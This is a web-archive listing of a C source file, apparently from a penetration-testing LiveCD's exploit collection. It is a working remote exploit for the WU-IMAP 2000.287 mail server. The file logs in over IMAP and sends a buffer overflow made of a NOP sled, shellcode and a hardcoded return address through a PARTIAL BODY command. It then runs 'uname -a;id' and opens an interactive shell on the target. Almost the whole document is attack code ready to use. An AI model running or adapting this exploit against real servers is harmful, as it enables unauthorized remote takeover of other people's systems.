home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / wu-imapd / 0x3a0x29wuim.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  137 lines

  1. /*
  2.  * 0x3a0x29wuim.c - WU-IMAP 2000.287 (linux/i86) remote exploit
  3.  *
  4.  * dekadish
  5.  *
  6.  *  0x3a0x29 crew
  7.  *
  8.  */
  9.  
  10. #include <stdio.h>
  11. #include <string.h>
  12. #include <unistd.h>
  13. #include <stdlib.h>
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <netinet/in.h>
  17. #include <arpa/inet.h>
  18. #include <netdb.h>
  19. #include <sys/types.h>
  20. #include <sys/stat.h>
  21. #include <fcntl.h>
  22.  
  23. #define RETADDR 0x080eb395 /* My Debian 2.2 box */
  24. #define MAILDIR "/var/spool/mail"
  25.  
  26. char shellcode[] =
  27.  "\x55\x89\xe5\x55\x89\xe5\x83\xec\x28\xc6\x45\xd8\x2f\xc6\x45\xdc"
  28.  "\x2f\xc6\x45\xd9\x5f\xc6\x45\xda\x5a\xc6\x45\xdb\x5f\xc6\x45\xdd"
  29.  "\x5f\xc6\x45\xde\x5f\x83\x45\xd9\x03\x83\x45\xda\x0f\x83\x45\xdb"
  30.  "\x0f\x83\x45\xdd\x14\x83\x45\xde\x09\x31\xc0\x89\x45\xdf\x89\x45"
  31.  "\xf4\x8d\x45\xd8\x89\x45\xf0\x83\xec\x04\x8d\x45\xf0\x31\xd2\x89"
  32.  "\xd3\x89\xc1\x8b\x45\xf0\x89\xc3\x31\xc0\x83\xc0\x0b\xcd\x80\x31"
  33.  "\xc0\x40\xcd\x80";
  34.  
  35. int main(int argc, char *argv[])
  36. {
  37.     int s, i;
  38.     fd_set fds;
  39.     char tmp[2048], buf[1060];
  40.     char *target, *login, *pass, *p;
  41.     struct sockaddr_in sock;
  42.     unsigned long retaddr;
  43.  
  44.     fprintf(stderr, "%s\n", "[The #smile Crew]");
  45.     if (argc != 4)
  46.     {
  47.         fprintf(stderr, "Usage: %s <Target ip> <Login> <Password>\n", argv[0]);
  48.         exit(-1);
  49.     }
  50.  
  51.     retaddr = RETADDR;
  52.     target  = argv[1];
  53.     login   = argv[2];
  54.     pass    = argv[3];
  55.  
  56.     s = socket(AF_INET, SOCK_STREAM, 0);
  57.     sock.sin_port = htons(143);
  58.     sock.sin_family = AF_INET;
  59.     sock.sin_addr.s_addr = inet_addr(target);
  60.  
  61.     printf("\nConnecting to %s:143...", target);
  62.     fflush(stdout);
  63.     if ((connect(s, (struct sockaddr *)&sock, sizeof(sock))) < 0)
  64.     {
  65.         printf("failed\n");
  66.         exit(-1);
  67.     }
  68.     else
  69.         recv(s, tmp, sizeof(tmp), 0);
  70.  
  71.     printf("done\nLogging in...");
  72.     fflush(stdout);
  73.     snprintf(tmp, sizeof(tmp), "A0666 LOGIN %s %s\n", login, pass);
  74.     send(s, tmp, strlen(tmp), 0);
  75.     recv(s, tmp, sizeof(tmp), 0);
  76.  
  77.     if (!strstr(tmp, "completed"))
  78.     {
  79.         printf("failed\n");
  80.         exit(-1);
  81.     }
  82.  
  83.     printf("done\nExploiting...");
  84.     fflush(stdout);
  85.  
  86.     dprintf(s, "A0666 SELECT %s/%s\n", MAILDIR, login);
  87.  
  88.     memset(buf, 0x0, sizeof(buf));
  89.     p = buf;
  90.     memset(p, 0x90, 928);
  91.     p += 928;
  92.     memcpy(p, shellcode, 100);
  93.     p += 100;
  94.  
  95.     for (i=0; i<6; i++)
  96.     {
  97.         memcpy(p, &retaddr, 0x4);
  98.         p += 0x4;
  99.     }
  100.  
  101.     snprintf(tmp, sizeof(tmp), "A0666 PARTIAL 1 BODY[%s] 1 1\n", buf);
  102.     send(s, tmp, strlen(tmp), 0);
  103.     dprintf(s, "A0666 LOGOUT\n");
  104.     sleep(5);
  105.     printf("done\n\n");
  106.  
  107.     read(s, tmp, sizeof(tmp));
  108.     dprintf(s, "uname -a;id;\n");
  109.     memset(tmp, 0x0, sizeof(tmp));
  110.  
  111.     while (1)
  112.     {
  113.         FD_ZERO(&fds);
  114.         FD_SET(s, &fds);
  115.         FD_SET(1, &fds);
  116.  
  117.         select((s+1), &fds, 0, 0, 0);
  118.  
  119.         if (FD_ISSET(s, &fds))
  120.         {
  121.             if ((i = recv(s, tmp, sizeof(tmp), 0)) < 1)
  122.             {
  123.                 fprintf(stderr, "Connection closed\n");
  124.                 exit(0);
  125.             }
  126.             write(0, tmp, i);
  127.         }
  128.         if (FD_ISSET(1, &fds))
  129.         {
  130.             i = read(1, tmp, sizeof(tmp));
  131.             send(s, tmp, i, 0);
  132.         }
  133.     }
  134.  
  135.     return;
  136. }
  137.